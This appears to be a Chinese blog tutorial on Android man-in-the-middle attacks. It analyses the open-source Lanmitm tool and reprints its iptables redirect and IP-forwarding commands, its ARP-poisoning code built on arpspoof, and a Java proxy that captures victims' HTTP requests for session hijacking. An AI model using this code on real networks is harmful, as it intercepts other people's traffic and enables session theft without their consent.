少年辛苦终身事,莫向光阴惰寸功。这篇文章主要讲述Android 中间人攻击相关的知识,希望能为你提供帮助。
0x00
android中间人攻击的思路就是劫持局域网中被攻击机器和server间的对话。被攻击机器和server表面上工作正常,实际上已经被中间人劫持。能够从一张图来明确这个过程。
文章图片
受攻击主机发送的数据,首先经过了攻击者。从server返回的数据也经过攻击者,再发送给受攻击主机。
0x01
Android开源中间人攻击样例。请參考https://github.com/ssun125/Lanmitm。我们这里主要分析这个链接中效果预览中会话劫持的原理。
分析https://github.com/ssun125/Lanmitm源码,要实现arp欺骗,有关键的四步:
1、使用Iptables进行NAT数据包转发
【Android 中间人攻击】
public static final String[] PORT_REDIRECT_CMD = { " iptables -t nat -F" , " iptables -F" , " iptables -t nat -I POSTROUTING -s 0/0 -j MASQUERADE" , " iptables -P FORWARD ACCEPT" , " iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 80 --to " + AppContext.getIp() + " :" + HttpProxy.HTTP_PROXY_PORT };
这个命令是在ProxyService类的startHttpProxy方法中调用的。
2、开启端口转发,同意本机像路由器那样转发数据包
private String[] FORWARD_COMMANDS = { " echo 1 > /proc/sys/net/ipv4/ip_forward" , " echo 1 > /proc/sys/net/ipv6/conf/all/forwarding" };
这个是在ArpService类的onStartCommand方法中调用的。
3、ARP投毒
if ((ONE_WAY_HOST & arp_cheat_way) != 0) { if (target_ip == null) target_ip = AppContext.getTarget().getIp(); if (!target_ip.equals(AppContext.getGateway())) arp_spoof_cmd = getFilesDir() + " /arpspoof -i " + interfaceName + " -t " + target_ip + " " + AppContext.getGateway(); else arp_spoof_cmd = getFilesDir() + " /arpspoof -i " + interfaceName + " -t " + AppContext.getGateway() + " " + target_ip; arpSpoof = new Thread() {@Override public void run() { ShellUtils.execCommand(arp_spoof_cmd, true, false); } }; arpSpoof.start(); } if ((ONE_WAY_ROUTE & arp_cheat_way) != 0) { arp_spoof_recv_cmd = getFilesDir() + " /arpspoof -i " + interfaceName + " -t " + AppContext.getGateway() + " " + AppContext.getIp(); arpSpoofRecv = new Thread() { @Override public void run() { ShellUtils.execCommand(arp_spoof_recv_cmd, true, false); } }; arpSpoofRecv.start(); }
这个是在ArpService类的onStartCommand方法中调用的。
4、在攻击者机器依据Socket原理,创建一个WebServer,原理相似于使用NanoHttpd实现简易WebServer。
这样被攻击者发送给攻击者的请求就能被获取。而且显示在界面上。
核心的代码例如以下:
public class HttpProxy extends Thread { ...... @Override public void run() { try { mServerSocket = new ServerSocket(); mServerSocket.setReuseAddress(true); mServerSocket.bind( new InetSocketAddress(AppContext.getInetAddress(), HTTP_PROXY_PORT), BACKLOG); executor = Executors.newCachedThreadPool(); while (!stop) { Socket client = mServerSocket.accept(); DealThread dealThread = null; switch (mProxyMode) { case MODE_PROXY_SIMPLE: dealThread = new SimpleDealThread(client, mOnRequestListener); break; case MODE_PROXY_DEEP: dealThread = new DeepDealThread(client, mOnRequestListener); break; } executor.execute(dealThread); } } catch (IOException e) { e.printStackTrace(); } finally { if (mServerSocket != null) { try { mServerSocket.close(); } catch (IOException e) { e.printStackTrace(); } } if (executor != null) { executor.shutdownNow(); } } } ...... }
推荐阅读
- Android ButterKnife注解框架使用
- 在Android程序中使用已有的SQLite数据库
- Cocos2d-x 3.1.1 学习日志12--一Cocos2dx3.1.1移植到Android平台的方法(最实用最有效的!!)
- Android技术归档
- Android视音频编码器——cameraYUVAudioRecordPCM分别编码后muxer成mp4
- Android开发只在测试阶段添加测试库并在正式版本自动去掉测试库的方法
- Android应用存储路径选择方案的设计
- Appserv 设置网页不显示目录(索引)
- Windows 11如何修复邮件和日历应用程序无法运行(解决办法)